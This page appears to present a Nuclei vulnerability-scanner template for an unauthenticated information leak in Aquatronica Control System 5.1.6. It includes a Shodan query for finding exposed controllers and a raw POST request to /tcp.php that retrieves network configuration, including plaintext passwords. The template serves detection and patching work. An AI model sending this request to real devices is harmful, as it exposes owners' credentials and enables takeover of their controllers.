Aquatronica Control System 5.1.6 - Information Disclosure

ID: aquatronica-info-leak

Severity: high

Author: s4e-io

Tags: exploitdb,aquatronica,info-leak

Description

The tcp.php endpoint on the Aquatronica controller is exposed to unauthenticated attackers over the network. This vulnerability allows remote attackers to send a POST request which can reveal sensitive configuration information, including plaintext passwords. This can lead to unauthorized access and control over the aquarium controller, compromising its security and potentially allowing attackers to manipulate its settings.

YAML Source

id: aquatronica-info-leak

info:
  name: Aquatronica Control System 5.1.6 - Information Disclosure
  author: s4e-io
  severity: high
  description: |
    The tcp.php endpoint on the Aquatronica controller is exposed to unauthenticated attackers over the network. This vulnerability allows remote attackers to send a POST request which can reveal sensitive configuration information, including plaintext passwords. This can lead to unauthorized access and control over the aquarium controller, compromising its security and potentially allowing attackers to manipulate its settings.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5824.php
    - https://www.exploit-db.com/exploits/52028
    - https://www.zeroscience.mk/codes/aqua.txt
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"aquatronica"
  tags: exploitdb,aquatronica,info-leak

http:
  - raw:
      - |
        POST /tcp.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        function_id=tcp_xml_request&command=WS_GET_NETWORK_CFG

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "WEB_PASSWORD"
          - "pwd=""
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fb4abf92c5cdc1797a29b2293871c8eb0a6e19c7d546972dd12cab56db7a7d27022041c3fbd37fc8199c2721a235d0c14e84d1236a59d07048ba5d41927b21bdb0e3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/aquatronica-info-leak.yaml"

View on Github